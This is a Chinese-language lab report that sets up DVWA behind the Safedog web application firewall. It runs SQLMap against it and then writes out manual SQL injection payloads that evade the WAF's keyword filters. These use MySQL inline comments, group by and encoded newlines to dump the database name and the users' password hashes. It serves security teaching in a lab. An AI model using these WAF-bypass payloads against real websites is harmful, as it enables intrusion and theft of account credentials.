(1)实现WAF安装与配置

(2)分别在无WAF和有WAF的情况下,利用SQLMap进行注入,提供注入结果截图

(3)在有WAF的情况下,手工注入出DVWA数据库中的user和password,提供注入过程说明文档

1 实验环境

软件名称版本部署方式IP
safedog官网下载安装包172.31.5.40
dvwaphpStudy2018部署172.31.5.40
SQLMapkali 自带172.31.5.9

2 安装DVWA

注意:这里使用phpStudy 2018进行部署(尽量不要用最新版,问题较多)

下载DVWA源码,防止于网站根目录下

image-20230319104648576

将DVWA\config\目录下的文件重命名为config.inc.php,并修改其中的数据库账号和密码为:root/root(根据实际情况填写)

image-20230319105522398

修改php.ini 中的两个参数为On

image-20230319105413033

以系统服务的方式启动apache和mysql

image-20230319105628729

访问 http://172.31.5.40/dvwa/ 进入DVWA安装界面

image-20230319110018737

点击Create/Reset Database安装成功后进入登陆界面(默认账号:admin/password)

image-20230319110158766

3 安装safedog

官网下载最新版安全狗Apache版本 http://free.safedog.cn/

双击安装包进行安装,出现如下界面说明可以正常安装,如果服务名为空则不正常(没有以系统服务运行apache)

image-20230319111028514

4 SQLMap 注入DVWA数据库

将DVWA安全等级设置为Low

4.1 未开启safedog时

打开sql注入模块,并获取URL以及登陆cookie

image-20230319113311654

使用sqlmap 对id参数进行注入

sqlmap --batch -u "http://172.31.5.40/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=5oe9garl47s6buhb0rc7iav6g3"  -p id

注入成功

image-20230319113658598

4.2 开启safedog时

image-20230319172038051

再次执行注入(注意要删除上一次注入的缓存文件),注入失败。检测到了被防火墙拦截

image-20230319115923597

手工注入 1’ and ‘1’=‘1

image-20230319121436260

提交后被安全狗拦截

image-20230319121537451

5 safedog 绕过

5.1 and 关键字绕过

内联注释:是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!…/中,这些语句在不兼容 的数据库中不执行,而在MySQL自身却能识别。

/*!11445*/ 表示版本号;从00000~99999 ,需要小于mysql当前的版本;

例如:mysql 5.6 ,则版本号需要小于 56000 才能执行成功

这个版本号有很多可以多尝试几个,这个原理就是在mysql数据库当中/*!加上指定的版本号来执行sql 语句:

1'/*!11445and*/'1'='1      #成功绕过and关键字拦截

image-20230319150844604

5.2 order by关键字绕过

1' order by 1 #   

提交此参数会被拦截

image-20230319153226074

使用group by 替换

1' group by 1 # 

成功绕过order by关键字拦截

image-20230319153402363

多次尝试,当使用如下语句则报错,可知注入的列数为2

1' group by 3 # 

image-20230319153513054

5.3 union 关键字绕过

%0A 表示回车

%23 表示 #

为防止URL二次编码,以下实验使用HackerBar插件进入注入绕过(%会被二次编码,失去本来的意义)

使用union关键字,被拦截

1' union select 1,2 --+

image-20230319163950677

使用以下注入注入参数

1' regexp "%0A%23" /*!11144union %0A select */1,2 --+

成功绕过union关键字拦截

image-20230319164224503

5.4 database 关键字绕过(获取库名)

尝试获取database(),发现被拦截

1' regexp "%0A%23" /*!11144union %0A select */database(),2--+

image-20230319164335661

再次使用內联注释绕过database() 拦截,获取到数据库名为dvwa

?id=-1' regexp "%0A%23"/*!11144union %0A select*/ 1,database(%0A /*!11144*/)--+

image-20230319164526336

5.5 user() 关键字绕过(获取用户名)

-1' regexp "%0A%23"/*!11144union %0A select*/ user(%0A /*!11144*/),database(%0A /*!11144*/)--+

image-20230319165311840

5.6 获取所有库名

尝试获取所有的库名,发现information_schema.schemata被拦截

image-20230319165815538

分别对schema_name 和information_schema加上内联注释进行绕过(不清楚其中哪个被拦截,直接全加上)

image-20230319170449677

5.7 获取所有表

获取dvwa库里面所有的表名

-1' union /*!--+/*%0aselect/*!1,*/ group_concat(column_name) /*!from*/
/*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+

image-20230319170730435

5.8 注入出账号密码

-1' union /*!--+/*%0aselect/*!1,*/ group_concat(concat_ws(0x7e,user,password))
/*!from*/ dvwa.users --+

image-20230319170914387

在线解密 https://www.cmd5.com/

得到admin用户密码为password

image-20230319171102226